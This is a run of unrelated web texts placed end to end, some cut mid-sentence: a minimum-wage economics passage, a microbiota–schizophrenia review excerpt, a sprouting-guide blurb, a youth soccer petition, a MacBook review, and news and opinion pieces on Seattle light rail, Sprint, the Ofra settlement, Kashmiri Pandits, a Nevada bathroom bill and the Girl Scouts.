Lester’s argument is that in response to temporary changes in wages, employers are unlikely to make the fundamental changes in how they do business necessary to reduce labor demand simply because it is not worth it to them to pay the adjustment cost. Thus, this paper follows in that tradition by arguing that the presence of adjustment costs on labor demand provides a cohesive explanation for the small short and long-run employment effects found in the minimum wage literature. The relevant quotation from Lester is this: Most industrial plants are designed and equipped for a certain output, requiring a certain work force. Often effective operation of the plant involves a work force of a given size…Under such circumstances, management does not and cannot think in terms of adding or subtracting increments of labor except perhaps when it is a question of expanding the plant and equipment, changing the equipment, or redesigning the plant… From much of the literature the reader receives the impression that methods of manufacture readily adjust to changes in the relative cost of productive factors. But the decision to shift a manufacturing plant to a method of production requiring less or more labor per unit of output because of a variation in wages is not one that the management would make frequently or lightly. Richard A. Lester (1946, pg. 72-73). If the long-run effect of minimum wages is substantial, why then don’t we see this effect? Isaac argues it is because there have been very few long-run changes in the minimum wage in the United States, so evidence on their effects is scant. The minimum wages is set in nominal terms, so it declines with inflation, is raised, declines with inflation, is raised, etc. This yields a sawtooth pattern of the real (inflation-adjusted) minimum wage in which almost all changes in the real minimum wage are temporary. And Isaac argues that temporary changes in the minimum wage have muted effects. In Isaac’s words: … if adjustment is slow (because it is costly), then labor demand today is a forward-looking decision and depends critically both on the realized path, and the expectations, of minimum wages. In the US, minimum wages are mostly set in nominal terms and so a given increase is not very persistent. As a result, labor demand would never fully adjust to a given minimum wage increase and the long-run consequences of a given minimum wage increase for employment might be quite small. Isaac backs up his story about how machinery adapted to be used by a given number of workers can influence labor demand by discussing detailed micro-data of the reaction to an important set of minimum wage increases in 1938 and 1939 (pp. 4-6). The implementation of the Fair Labor Standards Act of 1938 in the case of the seamless hosiery industry provides a nice example of this mechanism since the Bureau of Labor Statistics collected data on both employment and the kind of capital in January of 1938 and August of 1940, which is tabulated in US Department of Labor (1941)…. The minimum wage was implemented in two stages: it was set to 25 cents an hour in October 1938 and then raised to 32.5 cents in September 1939. The minimum wage was binding in the seamless hosiery industry…. The fundamental technological choice facing the seamless hosiery industry was whether to use machines where the top of the stocking was knit on a different machine than the stocking itself, or machines where the top was knit on the same machine as the stocking. The most labor-intensive process used the hand-transfer machine, where the top of the stocking was knit on a separate machine and then carried by hand to the knitting machine. A converted hand-transfer machine included an attachment to the hand-transfer machine that “in effect converts transfer machines into automatic machines” (US Department of Labor (1941, pg. 75)), while an automatic machine performed both steps in an integrated fashion. The hand-transfer machines were roughly four times more labor-intensive than the automatic machines (Hinrichs (1940, pg. 25, n. 15))…. … five points. First, as Seltzer (1997) emphasizes, the earnings and employment numbers are consistent with the minimum wage decreasing employment. Average hourly earnings rose three times faster in the low-wage plants than the high-wage plants. And employment fell in the low- wage plants and not in the high-wage plants. Second, the plants paying higher wages in 1938 had
bidirectional routes of communication between the brain and the gut microbiota. These include the vagus nerve, short-chain fatty acids, tryptophan, cortisol and cytokines. The figure also proposes a mechanism by which the gut microbiome could alter central neurochemistry in patients with schizophrenia. Full size image Download PowerPoint slide Schizophrenia, prematurity and microbiota It is well established that premature delivery increases the risk of developing schizophrenia.63,64 This may have major relevance in countries where cesarian section rates are now in excess of 50%, most notably China and Brazil, and where a majority of these planned deliveries occur at least 2–3 weeks prior to full term. Those who develop schizophrenia and were born prematurely tend to show premorbid social withdrawal and an early age at illness onset.65 Ehninger et al.66 studied the stability and function of early microbial colonizers of the premature infant gut. Overall, the premature infant gut has low individual but high interindividual microbial diversity. Over a 1-week period, the early gut microbial community transitions to a community with a higher representation of obligate anaerobes, emphasizing both taxonomic and metabolic instability during colonization. Penders et al.67 conclude that two of the most important determinants of the gut microbiotic composition in infants are the mode of delivery and gestational age. Infants born through cesarean section had lower numbers of Bifidobacteria and Bacteroides, whereas they were more often colonized with C. difficile, compared with vaginally born infants. There is now increasing evidence that Bifidobacteria have positive benefits for the developing brain68,69 while C. difficile is an aberrant undesirable pathogen.70 Cases of schizophrenia and autism have been associated with C. difficile infection and reported as mediated by a phenylalanine derivative produced by the bacteria.71 There are no prospective studies available on the outcome of otherwise healthy babies who have colonized this organism. Behavioral genetics and microbiota Is the view that genes in the microbiota are relevant to the etiology of schizophrenia consistent with the behavioral genetic data? It is a fact that the microbiota architecture within members of a family has greater similarity than with individuals outside the family.72 This fact is consistent with the clustering of schizophrenia within certain families. That monozygotic twins show greater microbial commonality than do dizygotic twins has been demonstrated73,74 and is once again consistent with the schizophrenia twin studies. Both the monozygotic and dizygotic twins if born per vaginum will have initial identical exposure to the mother’s microbiota. Subsequent differences in concordance rates are presumably due to the fact that monozygotic twins have an identical immune system, which is not the case for dizygotic twins. Having an identical immunology will allow for the establishment of a similar microbiota. There are no human adoption studies focusing on the microbiota. However, it is clear that the initial microbiota formed has a maternal signature75,76 derived from the biological mother and subsequent alteration will be determined by the diet in the adoptive home and perhaps antibiotic exposure. Let us take as a tentative lesson, the case of peptic ulcer disease, which was previously viewed as a stress-related disorder.77 Clustering within families has been recognized78 and monozygotic twins have a higher concordance than dizygotic twins.79 Likewise, adoption studies in peptic ulcer disease yield a similar finding to that of schizophrenia.80 Thanks to the pioneering work of Marshall and Warren, which identified H. pylori as the main causative agent in peptic ulcer disease, the disease is now readily treatable.81,82 We could conduct genome-wide association studies for decades and never find the cause of peptic ulcer disease. Only by studying the microbiota was a causal agent established. This analogy is obviously tempered by the obvious behavioral complexity of schizophrenia relative to a disorder with a distinct pathology.Grow Your Own Raw Food Anywhere! Would you like to grow some of your own food this year? Indoors? With no sunlight or soil? At any time of the year and at all times of the year? Sprouts allow you to do all that and more. In fact, you can grow all the vegetables your body needs (plus all the protein as well) in an area that's no bigger than your microwave oven. I grow sprouts on top of my refrigerator, harvesting baskets of fresh, raw food every week without even going outside. Growing sprouts is simple and it's cheap. Sprouts can provide you with the power-packed nutrition your body needs at a fraction of the price of store bought food. You can save money while eating right. There's no dirt, no pests, and no weeding required. Raw Food Salads, Sandwiches, Cereals, and More! This short guide will teach you how to grow sprouts and enjoy eating them. If you like salads, I'll show you how to make delicious bowlfuls with tasty mild or spicy sprouts. If you enjoy eating cereal for breakfast, try some sprouted grains with natural malt sugars that nourish your body and taste far better than boxed cereals. Need to lose a few pounds? Simply eating a few more sprouted beans will keep you feeling fuller and eating fewer carbs. Toss some bean sprouts, lentil sprouts, or pea sprouts into your next rice or pasta dish; they make great burgers as well. You'll find that your body absorbs the protein better when the beans are sprouted, which usually reduces flatulence as well. All this nutrition, protein, and fiber will have you shedding a few pounds in a hurry. Topics Include: 1. Superfood Sprouts Cheap, Easy to Grow, Provide Year-Round Nutrition 2. The Benefits of Raw Food Lose Weight, Nourish Your Body, and Stimulate Energy Levels 3. Sprouting Equipment and How to Use It Trays, Jars, Bags, Automatic Sprouters, and Wheatgrass Juicers 4. Salad and Sandwich Sprouts Alfalfa, Clover, Radish, and Broccoli 5. Bean Sprouts Mung Beans, Soy Beans, Lentils, Peas, and More 6. Grain Sprouts Wheat, Barley, Rye, Oats, Triticale, Quinoa, and Other Grains 7. Seed and Nut Sprouts Sunflower, Sesame, Pumpkin, Peanut, and Flax 8. Seasoning Sprouts Basil, Celery, Cress, Dill, Fenugreek, Mustard, Onion Family, and More 9. How to Grow Microgreens Grow a Gourmet Baby Salad, Anytime, Anyplace! 10. Wheatgrass Juice From Homegrown Sprouts How to Grow and Juice Your Own Wheatgrass 11. Where to Get the Best Sprouting Seeds Trusted Sources for the Freshest Quality 12. Where to Find the Best Raw Food Sprout Recipes Delicious ways to enjoy your sprouts, raw or cooked Eat More Raw Foods for Better Health Raw food contains many nutrients that are lost in the cooking process. Our prehistoric ancestors ate most of their food raw until around 12,000 years ago. The human body has not yet adapted to the large quantities of cooked and processed foods we feed ourselves. This is a big reason for the high rates of diabetes, cancer, heart disease, and other chronic ailments: we are poisoning ourselves with so much over-cooked, over-processed foods. People who switch to raw food diets (or simply include some more raw food in their diets) experience many benefits, such as weight loss and great energy levels. This book will help you increase the quantity of raw food in your diet from sprouts, including salad and sandwich sprouts, wheatgrass, microgreens, and sprouted beans, nuts, seeds, and grains (which most people can digest well without any cooking). Learn how to grow some of your fresh food indoors, in a small space, with no direct light, and no soil (except microgreens). Pick this one up. You won't be disappointed!Petition Background: The dreams of aspiring Youth soccer athletes from Quebec between the ages of 9 and 17 are being denied their right by the Quebec soccer federation to play in the North American Super Y league open to Canadian teams and players as they refuse to acknowledge the “ACP Academy” as a member simply because they do not support the Non Club Academy process, a process recognized by FIFA associations worldwide including the CSA (Canada Soccer association) and adopted by the other Canadian provincial soccer associations. This process offers elite youth soccer players the opportunity to compete at a higher levels through participation in North American leagues and international tournaments outside of the Quebec soccer system. The ACP Academy has a solid financial structure which includes important sponsors like Air Qatar, they have a fully licensed Technical staff for all age categories, a Technical Director, dedicated infrastructure, physio’s at every practice and games, hence The Academy has all the right conditions that provides a youth soccer player that professional soccer experience which no public soccer Club can provide, yet the Quebec soccer federation shuts their eyes to these facts about the ACP academy and ignore the fact that they are only penalizing the children of this academy with no justification as they continue to ignore the call of the ACP academy to work together for a solution. Petition: This supportive petition has not been organized or initiated by the ACP Academy. We the parents along with our children as members of the ACP academy have created this petition to seek support for the right to allow our children through the ACP academy to play in any international tournament or North American soccer leagues. I the under signed support this right currently being denied by the bureaucracy of the Quebec Soccer association.Hardware It appears that some of my fellow tech reviewers tested the new MacBook in something other than this new rose-gold color. I happen to have the pink version, as you can see, and I'm glad for that: This is Apple's first rose-gold Mac, and there's news value there. If I'm honest, though, this is not the color I would have purchased for myself. The dusty mauve shade we have here reminds me only of things I don't want: a Barbie Dream House, ballet slippers and Elle Woods' wardrobe in Legally Blonde. This color wasn't my favorite even when it debuted on the iPhone, but on the Mac, where everything but the bezels and keys are pink, it's just too much. When I use it in public or at the office I feel like I have to explain myself. No, I am not actually this girly, I want to say. Luckily for me, if I were in the market for a MacBook, I could still buy it in all the usual colors: silver, gold and my personal favorite, space gray. Ladies (or gents, even), if you do indeed want a rose-gold Mac to match your rose-gold iPhone, knock yourselves out. As I said, that new color option aside, this is, for better and worse, the same hardware Apple introduced last year. There's still but one port on the left side: a USB Type-C socket you'll use both to charge the device and attach whatever optional adapters you choose to buy. The sound coming out of the stereo speakers above the keyboard continues to surprise me, both for its loudness and relative balance. The 12-inch Retina display, meanwhile, still combines deep contrast, bright colors and some very high pixel density (that 2,304 x 1,440 resolution comes out to 226 pixels per inch). Once again too, this is the display I really wish I could have on the 13-inch MacBook Air -- you know, the one where I can still get a built-in full-size USB port to charge my phone. Given that I'm used to dividing my time between a 13-inch MacBook Air and 21.5-inch iMac, the 12-inch panel here feels a little too small for me, personally -- at least for extended use. (As I type this review in a browser tab, I have one eye on Slack, so clearly this setup is usable, even if it's not ideal.) That said, it occurred to me during this second round of testing that I might be able to work this tiny Mac into my lifestyle after all. What I realize now is that in addition to being well-suited for travel, the MacBook also makes for the perfect "thing I take to meetings" device. At 2 pounds, it's so light that I can easily balance it in one hand without even having to shut the lid. This makes it easy to stop what I'm doing, hurry to a conference room and immediately be ready to take notes. I can envision a setup in which I use an adapter to keep the laptop hooked up to an external monitor when it's parked at my desk. The thing is, I happened to cross paths with our company IT guy while I was working on this review, and once he heard what I was testing, he just shook his head. Unless Apple adds another port, preferably a full-size one, using the MacBook for work is a no-go. So while my fantasy is a nice idea, it's just not meant to be. Maybe you can swing it, though. Keyboard and trackpad I also felt more at home this time using the flat keyboard and Force Touch trackpad, even though neither has actually changed since I reviewed the first-generation version a year ago. I partly thank muscle memory for that. Even though I hadn't used the 12-inch MacBook since the week I spent with it last year, I clearly hadn't forgotten how to type on the flat keys. That bodes well for people who will actually buy this: If I can make progress on the learning curve in just a week, and still have retained the muscle memory after a year of not using it, imagine how comfortable one would get if this were her primary keyboard. Even then, the learning curve is gentler than you might think. That's because the buttons only look flat. Under the surface, each keycap is propped up by what Apple calls a "butterfly" mechanism that lowers the entire key evenly each time you strike a button with your finger. This is a departure from conventional keyboards, where the common "scissor" keycap design means there's always gong to be a chance that one side of the keycap will hit the bottom before a press can actually register. That's why on other ultraportables I test, I often complain that the keyboards don't always "hear" me the first time, forcing me to either mash the buttons or frequently go back and retype stuff. That wasn't a problem here. Though the buttons are nearly flush with the keyboard deck, they're actually quite springy and responsive. It helps too that the backlit buttons have 17 percent more surface area than on other MacBooks, which makes it that much easier to hit your intended key. As for the trackpad, its Force Touch technology means that what used to be a clickable button has been replaced by a hard, fixed surface that uses a vibration motor to simulate "clicks" when the machine is turned on. (Power it off and you'll find the touchpad doesn't move at all.) It's also pressure-sensitive, allowing you to do things like push down extra-hard to preview an image in Finder or fast-forward through a movie in QuickTime at 60x. Even a year after the technology came out, those hard "force clicks" continue to feel awkward; I sometimes have to try more than once to pull off the trick that I meant to. That said, I've warmed up to this touchpad when it comes to everyday use: "clicking" when I'm not really clicking anything. No, it still doesn't feel the same as the trackpad on the MacBook Air, but that's OK. In my case, I have the iMac's new Magic Trackpad to thank: It uses the same Force Touch technology as the MacBook. For everyone else as well, I suspect that Force Touch will feel more normal with time. After all, the MacBook Pros already have the same touchpad, and I wouldn't be surprised if the MacBook Air one day followed suit. Performance and battery life Though the base $1,299 model has a 1.1GHz Core M3 processor, the $1,599 one I tested steps up to a more robust Core M5 chip with a slightly faster clock speed of 1.2GHz. Either way, you get 8GB of RAM, and the PCIe solid-state drives are of the same caliber, though the actual amount of available storage varies between the two configurations. As you'd expect, Apple promises this year's model is faster than last year's and has longer battery life. In particular, the company says we can expect a 25 percent graphics boost and an extra hour of runtime, regardless of whether you're judging battery life by video playback or continuous web surfing. That's borne out in our benchmark tests, where I saw appropriately higher numbers in tests like Geekbench and Xbench. The startup time wasn't faster -- nine seconds to the log-in screen vs. seven last year -- but I'm not complaining. Meanwhile, the PCIe SSD inside now reaches average write speeds of 845 MB/s, according to the Blackmagic Disk Speed Test. That's way up from 451.7 MB/s on last year's model, which was already more than what we see on many flagship laptops. Meanwhile, read speeds are now approaching a gigabyte per second, with the rates in my tests coming out to an average of 947 MB/s. That's up considerably from 738.2 MB/s last year. In everyday use, I had no problem juggling all my usual apps: Slack, Spotify, TextEdit, Photos, Notes, Messages, Maps and Chrome, with nine pinned tabs and a handful of unpinned ones. Apps were quick to launch, and I thankfully didn't notice any of the hiccups that sometimes plague slower machines; it kept up as I hopped between pinned browser tabs, for instance, which not all laptops do. Also, because Core M processors allow for fanless designs, using the MacBook is a pleasantly quiet experience -- something I can't always say about the Air or Pro. Additionally, though I complained last time that the laptop's bottom side could occasionally get a little warm, that wasn't an issue for me this year; the machine stayed cool enough for me to work with it in my lap, with shorts on. Battery life Apple MacBook (2016) 8:45 Surface Book (Core i5, integrated graphics) 13:54 / 3:20 (tablet only) HP Spectre x360 (13-inch, 2015) 11:34 Surface Book (Core i7, discrete graphics) 11:31 / 3:02 (tablet only) Apple MacBook Pro with Retina display (13-inch, 2015) 11:23 iPad Pro (12.9-inch, 2015) 10:47 HP Spectre x360 15t 10:17 Chromebook Pixel (2015) 10:01 Lenovo Yoga 900 9:36 Microsoft Surface 3 9:11 Samsung Notebook 9 8:16 Apple MacBook (2015) 7:47 Dell XPS 13 (2015) 7:36 Microsoft Surface Pro 4 7:15 Microsoft Surface Pro 3 7:08 HP Spectre x2 6:43 Razer Blade Stealth 5:48 Dell XPS 15 (2016) 5:25 (7:40 with the mobile charger) Toshiba Radius 12 5:12 This year, the MacBook's 41.4Wh battery is rated for up to 10 hours of web browsing, or up to 11 hours of video playback. That's up an hour across the board from last year, when Apple promised nine hours of browsing and 10 hours of video. Indeed, I saw the MacBook notch almost exactly an extra hour in Engadget's rundown test, which involves looping video in iTunes and setting the screen to 10 bars out of 16, with no dimming. It's also hours better than one of its most similar competitors, the 2.9-pound Toshiba Radius 12, whose bright 4K screen helped bring the battery life down to around five hours. Like last year, though, the MacBook's battery life fell short of Apple's promise, even when I attempted to replicate the company's own testing conditions. The battery life also still trails the thicker and heavier MacBook Air, which is rated for 12 hours. Don't get me wrong, an extra hour of runtime is a step in the right direction; it's just that when it comes to battery life claims, Apple usually exceeds, where here it slightly missed the mark. And for people who know they want a Mac but aren't sure which one, it will be tough to discount the fact that the Air lasts hours longer on a charge. Configuration options and the competition Unlike some of Apple's other computers, the MacBook is offered in two versions, each of which has very few upgrade options. The base $1,299 model has a 1.1GHz, dual-core Core M3 processor and a 256GB PCIe solid-state drive. Then there's the $1,599 edition, which has a 1.2GHz Core M5 chip and a 512GB SSD. Either way, both have the same Retina display and 8GB of RAM and Intel HD 515 graphics, and both are upgradeable to a 1.3GHz, dual-core Core M7 CPU. If you're looking for something like the MacBook -- a supersmall machine that emphasizes portability and screen quality above all else -- you can find a couple alternatives running Windows. I have to warn you, though, that the most promising option isn't actually out yet. That would be the just-announced HP Spectre 13.3, which, at 10.4mm thick, claims to be the world's thinnest laptop. Although it's a little more blinged-out than the MacBook, with copper accents inspired by women's jewelry, it has a similarly light 2.45-pound frame. Unlike Apple's offering, though, it has higher-powered Core i5 and i7 processors, while still offering 9.5 hours of battery life. (The lower-res 1080p screen helps there, I'm sure.) Additionally, the Spectre has more ports than the MacBook: three USB Type-C connections, two of which support Thunderbolt. We'll be testing that soon, though you'll probably be able to buy one sooner: It's slated to go on sale this week for $1,170 and up. There's also the aforementioned Toshiba Radius 12 ($1,000 and up), which, despite its less-than-stellar score of 77, actually has a lot of redeeming qualities. Chief among them: a Technicolor-certified 4K display, fast performance, comfortable keyboard, generous port selection, decent audio and a lightweight design. That said, the short battery life and frustrating touchpad are both significant knocks against it. Really, though, given the MacBook's inherent compromises, I suspect that many shoppers will look not necessarily toward competing Windows machines, but elsewhere in Apple's lineup. I'm talking about the MacBook Air, which, despite suffering from an aging design and frustratingly low-res (read: non-Retina) screen, still offers a lot of the things people want: longer battery life, faster performance and ports. Even if the Air better suits your needs, though, you'd be smart to wait for Apple to refresh it with newer Intel processors, as it just did with the 12-inch MacBook. Separate from the Air too, you might consider the 12.9-inch iPad Pro, which performs well and offers longer battery life, though the lack of mouse support in iOS might be a killer for people who want a laptop they can use, you know, as a laptop. Wrap-up How similar is the updated MacBook to last year's model? Put it this way: I was strongly tempted to assign it the exact same score. In the end, I decided it deserved a slightly higher number as a way of acknowledging the extra hour of battery life and considerably faster disk speeds. Other than that, this is the same machine I reviewed 12 months ago. It keeps everything I enjoyed the first time, including that crisp Retina display and comfortable keyboard. But it also has the same problems -- namely, a lack of ports and battery life that, while decent, still trails other thin and light laptops, including Apple's own MacBook Air. Basically, then, if you were turned off last year by what the MacBook had to offer, this year's incremental changes won't be enough to change your mind. If, however, you've always wanted a pink notebook, or take more comfort in buying a second-generation product than a first-gen one, at least you know what you're getting. Photos by Edgar Alvarez.Sound Transit’s Board of Directors approved today, by unanimous vote, the purchase of the next round of light rail vehicles (LRVs) from Siemens. As mentioned in an earlier article covering the recent Capital Committee Meeting, the contract will be for 122 Siemens S70 LRVs with the option for 30 additional vehicles and is valued at around $520 million (not including a 7% contingency). The new LRVs will be produced at Siemens’ North American factory outside of Sacramento and will contain 74.55% domestically produced content. These new LRVs will feature state of the art technology, including improved passenger information systems as well as the latest in LED lighting while retaining the overall look of Sound Transit’s Link light rail system. The new Type 2 LRVs should feel noticeably more spacious due to slimmer seats, using brighter colors, and a much wider open-gangway between the three vehicle segments The video renderings are only early conceptual designs. The final interior layout has yet to be finalized, which should hopefully allow for input from the public. There’s undoubtedly room for further improvement to the design, especially with regards to bicycle and baggage stowage. As mentioned prior, these LRVs will be utilized for the ST2 projects, including the extensions to Northgate in 2021, and Lynnwood and Bellevue/Overlake in 2023. ST2 Extension LRV Requirements Extension Planned Opening Date Vehicle Requirement Northgate Link 2021 40 LRVs East Link 2023 48 LRVs Lynnwood Link 2023 34 LRVs Note: Vehicle requirements are in addition to the current 62 car fleet. The first batch of 40 LRVs should begin arriving in 2019, and once testing has been completed, they will begin providing some much needed relief for the popular rail line ahead of the opening of the extension to Northgate. We hope you loved this article. If so, please consider supporting our work. The Urbanist is a non-profit that depends on donations from readers like you.Oh Marcelo! Sprint fans were having a great day and then you went and destroyed it by hinting about a rate hike in the not too distant future. This morning, Sprint released its earnings for the fiscal first quarter and the nation’s fourth largest carrier reported its fourth consecutive net addition in postpaid phone subscribers, hitting a level for the quarter not seen in nine-years. Sprint’s moribund stock rose from the dead, soaring 28% on Monday. And Sprint fans got to see the carrier’s new ads starring Paul “Can you hear me now?” Marcarelli. One of the commercials even showed the actor playing Pokemon Go. It was as though Sprint was telling T-Mobile, “Hey, we can be topical too.” Yes, it was a fun and exciting day for Sprint fans who haven’t seen so much attention lavished on their carrier since the Palm Pre was unveiled at CES in January 2009. Ok, so we might be exaggerating a little. But before you can saybuzzkill, Sprint CEO Marcelo Claure said this afternoon that “You can expect us to come up with a new set of rate plans before the next iPhone.” According to master leaker Evan Blass, the Apple iPhone 7 is expected to be released on September 16th. No, Claure did not actually say the words rate hike, but he did say that he is “going to add things that generate shareholder value.” And since shareholders like fat profits, Claure basically was hinting that higher rates are just weeks away. The CEO did say that the carrier’s next move will be a “Game changing” and aggressive one. You can’t blame Sprint for trying to stop offering its service at half the price charged by its rivals. It has helped Sprint garner new subscribers, but it also led to a net loss of $302 million in the quarter. That was a sharp drop from the $20 million net loss Sprint rang up in last year’s fiscal Q1. Sprint is committed to continue the half-off pricing for those who have already signed up for the deal, through May 31st 2018. But it sounds like the carrier is about to stop offering the deal to new subscribers soon. If you’d like to pay half of what you’re paying AT&T, T-Mobile or Verizon for another 22 months, you need to make your move soon.In a rare event, the Israeli government has admitted to the Supreme Court that it mistakenly expropriated more than 11 acres of private Palestinian land in Ofra, a Jewish settlement built on land Israel captured in 1967. At least nine homes have been built on this land, and Palestinian lawyers say the land must be returned to its owners. Follow Ynetnews on Facebook and Twitter “We are asking the Israeli government to destroy the houses of the settlers which were built on this land, to evacuate the land and to give it back to the Palestinians,” Tawfiq Jabarin, a lawyer representing the Palestinian families who claim the land told The Media Line. Ofra was started in 1975 and today an estimated 3,500 Israelis live there. About halfway between Ramallah and Nablus, it is in the heart of the West Bank. The piece of land under contention now was originally confiscated by Jordan for use as an army camp in 1966. When Israel captured the area, it declared it “state land,” in order to legalize the building of Ofra. But Israel went beyond the boundaries of the original Jordanian confiscation, causing the mistake the state has now admitted. Construction in the settlement of Ofra (Photo: Amit Shabi) In 2011, Palestinians petitioned the Supreme Court against Ofra’s new master zoning plan, saying they owned part of the land it includes. The state this week admitted that it had erroneously expropriated the 11 acres. Residents say that as it was the government’s mistake, it’s up to the government to fix it. In any case, the disputed land is right in the center of the community, which would make it impossible to leave. “Our expectation is for the government to get out of this problem and to authorize this area,” Miri Ovadiah, a spokeswoman for the Mateh Binyamin Regional Council, which includes Ofra, told The Media Line. “If compensation needs to be granted, the government should do that too.” She said there are nine homes built on the piece of land in question, while lawyer Tawfiq Jabareen said aerial photos show 60 buildings on the land, including several public buildings like schools. Ovadiah says she does not believe that the Palestinian owners have proper documents to prove their ownership. Israeli left-wing activist Dror Etkes, who has filed several of the petitions in the Amona case, says the state decision does not go far enough. Construction in the settlement of Ofra (Photo: Amit Shabi) “About two-thirds of Ofra is built on private Palestinian property outside the original land confiscation for a military camp,” Etkes told The Media Line. “The only part they can legalize is the land from the Jordanian confiscation, which is about one-third of the land of Ofra.” The case in Ofra shows the complexity over land claims in the West Bank. Israel has not annexed the West Bank, but has been in control for almost 50 years. Today, an estimated 370,000 Israelis live in the West Bank, along with 200,000 in East Jerusalem. The Israeli government says that East Jerusalem, which it annexed in 1967, must remain the undivided sovereign capital of Israel. Palestinians say the entire West Bank and Gaza Strip, with it’s over 4 million Palestinians, along with East Jerusalem, must become the Palestinian state. Also in Ofra is the outpost of Amona, which Jewish residents call a “neighborhood.” Built on a hill overlooking Ofra in 1995, and today with about 200 Israelis living there, the Supreme Court has ruled it was built on private Palestinian land, and is illegal according to Israeli law. The Israeli government continues to fight the court’s eviction order and one attempt to evict the residents ended in violence. Etkes says there is a precedent for dismantling settlements. In 2005, Israel decided to pull out of the Gaza Strip, and 9,000 Israelis were forced to leave their homes in Gaza. If the homes in Ofra are built on Palestinian land, he says, the government should demolish these homes as well and return the land to the original owners. Article written by Linda GradsteinI have always found it tedious to answer the question: "Which is your hometown?" Not because I am a daughter of an army officer or belong to a family of travellers, but because "I was born in Srinagar and was brought up in Jammu." I have been using this statement since the early 1990s to introduce myself, deliberately avoiding the word "Kashmiri Migrant". The feeling of being a migrant or displaced in your own country brings in a sense of irreparable loss as it evokes blurred memories of childhood and reinforces the turmoil the community of Kashmiri Pandits faced when mass exodus took place in early 1990s uprooting over 100,000 Hindu Pandits from their homes due to an Islamist insurgency that still festers. So the answer to that very basic "hometown" question invites mixed reactions, majorly sympathy. Sympathy is the last thing Kashmiri Pandits want, but unfortunately this is what has always been the offering. It is, I feel, because many fail to understand the sense of homelessness that has stayed with us ever since, and refuses to fade away even today. And it is this permanent restlessness that a bleak thought of going back to our "home" brightens up our soul, even though temporarily. But this soul was shattered the day it was known that the government plans to build "composite clusters" to rehabilitate displaced Pandits so that we could relive those lost years and stop lamenting about homecoming. We have always longed for home, but this home, ironically, doesn’t belong to the world we reside in now. This world doesn’t break into curfews, offers employment opportunities, doesn’t deprive me of cinema halls and it is where I can fearlessly and proudly wear my Indianness on my sleeve. And this is the place where the displaced Pandits have restarted their life and rebuilt the foundations of their cultural composition. It is their home now and 25 years is a long time for memories to fade away silently. These two decades have also alienated the young Kashmiri generation from the struggle because they understand the importance of the word "Kashmir" only when they apply for "Kashmiri quota" for higher education. It is only then this tag comes really handy. Please don’t judge me for the rude statement, but when I look around I feel those who started their life in exile at a young age, adjusted to the newly-found environs, and those who were born outside the Valley never really had the umbilical chord attached to their roots. Whereas the older generation still romances nostalgia and laments about the life and times they had in Kashmir during their growing up years, especially its picturesque marvels, chilling winters and difficult treks, the younger generation is introduced to these elements via personal anecdotes and stories. It would be apt to say that many of us have moved on, settled down and alienated ourselves from the idea of Kashmir. A subtle proof of this statement is that we are building a generation that can’t speak the Kashmiri language. In many houses, parents speak to their children in Hindi so that they are not laughed at for the "funny accent" – something this displaced community was initially made fun of. It has become a language we understand, but barely speak any more. We have compromised and adjusted to the rules of the new world. Uprooting an entire community from their homes not only displaces its people, it silently withers away the intangible culture and shared history. Culture, indeed, has become the biggest causality of our never-ending exile. So when we have left so much behind, what is there to look forward to? Why does the soul feel wretched at the thought of these "clusters" that invite mirth and disbelief at the same time? This proposal has already generated another controversy related to rehabilitation of Pandits and questioned the vision of the government that aims to bring us home with "dignity". Homecoming has been a distant dream. It might be the right time to think in this direction, but let’s honestly ask ourselves one question – How many of us are actually willing to return to the Valley? Are we mentally prepared to push the restart button again? There would be a handful who would want to go back for a better life, with the hope to shun the life of penury. There are those who still haven’t sold their homes and those who pine to go back home for mental peace. But, it isn’t just the question of building houses and rehabilitating. Does the government have employment plans to ensure they are not merely "fulfilling poll promises" but are addressing real issues that relate to rehabilitation holistically? As a Pandit friend, who is currently teaching in a school in Srinagar after the central government had launched a scheme a few years ago under which it provided employment to the younger generation in schools and government departments, informs me how living in Kashmir is like living in an Islamic state and if anyone wants to come here, he/she should only come as a tourist and not for settling down. It is a strong statement to make and highlights how the choice offered should come with sustainable options and not merely as tokenism to woo voters for the next elections. The journey to home is arduous and long. But it is a choice we have to make. As the heart proposes, the mind opposes… leaving little room for conversation that could lead to meaningful discussion.Nevada State Capitol Dome (Photo: Getty Images) Nevada's potentially illegal bill segregating transgender students into separate school bathrooms will receive its first hearing before state lawmakers on Friday, and it's attracting national attention. The country's largest lesbian, gay, bisexual and transgender civil rights advocacy group will testify against the bill. The bill "would conflict with federal protections for transgender and gender non-conforming students and expose such students to additional bullying and harassment," warned Alison Gill, senior legislative counsel for the Human Rights Campaign based in Washington, D.C. The group's logo – an equal symbol – has gone viral
about to celebrate 100 years of giving girls a chance to hike and camp, learn skills such as gardening and first aid, and build character and leadership. But some religious conservatives see something very different: representatives of a dangerous, secular organization that aggressively promotes abortion and quietly encourages paganism, homosexuality and other alleged social ailments. It’s ill-informed nonsense. Nonetheless, it’s spawned a smear campaign against the Girl Scouts that’s starting to have an impact, including in our region. Conservative activists have used social media to encourage parents to boycott cookie sales, pull their daughters out of scouts and push churches not to provide meeting spaces for troops. This month, for the first time in our area, a church bowed to the pressure. St. Timothy Roman Catholic parish in Chantilly in Fairfax County ousted 12 troops with 115 girls. In Alexandria, Saint Rita Catholic Church is reportedly considering doing the same. At St. Timothy, Rev. Gerald Weymes told scout leaders they could no longer use church or parochial school facilities after the current school year. He didn’t offer a public explanation and wasn’t giving interviews. But the diocese didn’t deny reports that St. Timothy was unhappy with the U.S. Girl Scout organization’s membership in the international girl scouting association. The latter group, which has members in 145 countries, supports access to contraception and is also often accused of backing abortion and being affiliated with Planned Parenthood. To appreciate the extremity of the church’s action, consider the following: America’s Girl Scouts say explicitly, repeatedly, at the neighborhood, regional and national level, that they have no stance on birth control or abortion. No Girl Scout dues or proceeds from cookie sales go to the international group, called the World Association of Girl Guides and Girl Scouts. Rebecca Munro, a spokeswoman for the association in London, said it has no position on abortion and no relationship with Planned Parenthood. “Misinformation is passing as fact,” Diane Tipton, president of the Girl Scout Council of the Nation’s Capital, said in a Jan. 22 statement responding to St. Timothy’s move. “The Girl Scout organization does not take a position on abortion or birth control, and these topics are not part of the Girl Scout program or our materials. We believe these matters are best discussed by girls with their families.” Such avowals haven’t dissuaded the critics. They are convinced the Girl Scouts are secretly promoting abortion under guise of teaching knots and scrapbooking. That didn’t square with the experience of local Girl Scout adult leaders whom I interviewed. “I have never come across anything that’s pro-life or pro-choice in any of our council literature, or any of our national literature,” said Kathy Sears, a troop adviser and adult trainer, who lives in Calvert County. Another defender of the scouts is the National Federation for Catholic Youth Ministry, a group that ought to have some credibility with Catholics. It’s an official church organization and has been actively investigating — and mostly refuting — the accusations for several years. The federation’s Web site 